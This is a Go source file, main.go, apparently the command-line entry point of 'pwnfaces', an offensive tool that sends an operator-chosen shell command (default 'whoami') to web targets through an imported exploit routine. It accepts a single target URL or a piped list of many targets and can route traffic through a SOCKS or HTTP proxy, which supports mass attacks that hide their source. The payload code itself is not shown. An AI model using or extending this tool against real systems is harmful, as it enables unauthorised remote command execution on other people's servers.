main.go

package main

import (
	"bufio"
	"fmt"
	"log"
	"os"

	"github.com/jessevdk/go-flags"
	"github.com/oppsec/pwnfaces/src/interface"
	"github.com/oppsec/pwnfaces/src/pwnfaces"
)

func error(err interface{}) {

	if err != nil {
		log.Fatalln(err)
		os.Exit(0)
	}

}

func main() {

	ui.GetBanner()

	var opts struct {
		Url string `short:"u" long:"url" description:"Definition: Argument used to pass target URL (ex: http://127.0.0.1:8090)" required:"false"`
		Cmd string `short:"c" long:"cmd" description:"Definition: Argument used to pass the command" required:"false" default:"whoami"`
		Proxy string `short:"p" long:"proxy" description:"Definition: Argument used to pass proxy (SOCKS4, SOCKS4a, SOCKS5 or HTTP)" required:"false"`
	}

	_, err := flags.Parse(&opts)
	error(err)

	// checking stdin from user

    fi, err := os.Stdin.Stat()
    error(err)

    if fi.Mode() & os.ModeNamedPipe != 0 { // if stdin != 0 --> read stdin (probably a file)

      	url := os.Stdin
      	scanner := bufio.NewScanner(url)

      	for scanner.Scan() {
      		check_slash  := scanner.Text()[len(scanner.Text())-1:]
			if check_slash == "/"{ exploit.TargetConnect(scanner.Text(), opts.Cmd, opts.Proxy, true) } else if check_slash != "/"{ exploit.TargetConnect(scanner.Text() + "/", opts.Cmd, opts.Proxy, true) }        	
      	}

      	if err := scanner.Err(); err != nil { fmt.Println(err) }

    } else { // no stdin

    	if len(opts.Url) == 0 {
    		fmt.Println("[!] the required flag `-u, --url' was not specified")
    		os.Exit(0)
    	}

		// Check if the last character is a / or not
		check_slash  := opts.Url[len(opts.Url)-1:]
		if check_slash == "/" { 
			exploit.TargetConnect(opts.Url, opts.Cmd, opts.Proxy, false) 
		} else if check_slash != "/" { 
			exploit.TargetConnect(opts.Url + "/", opts.Cmd, opts.Proxy, false) 
		}

    }
}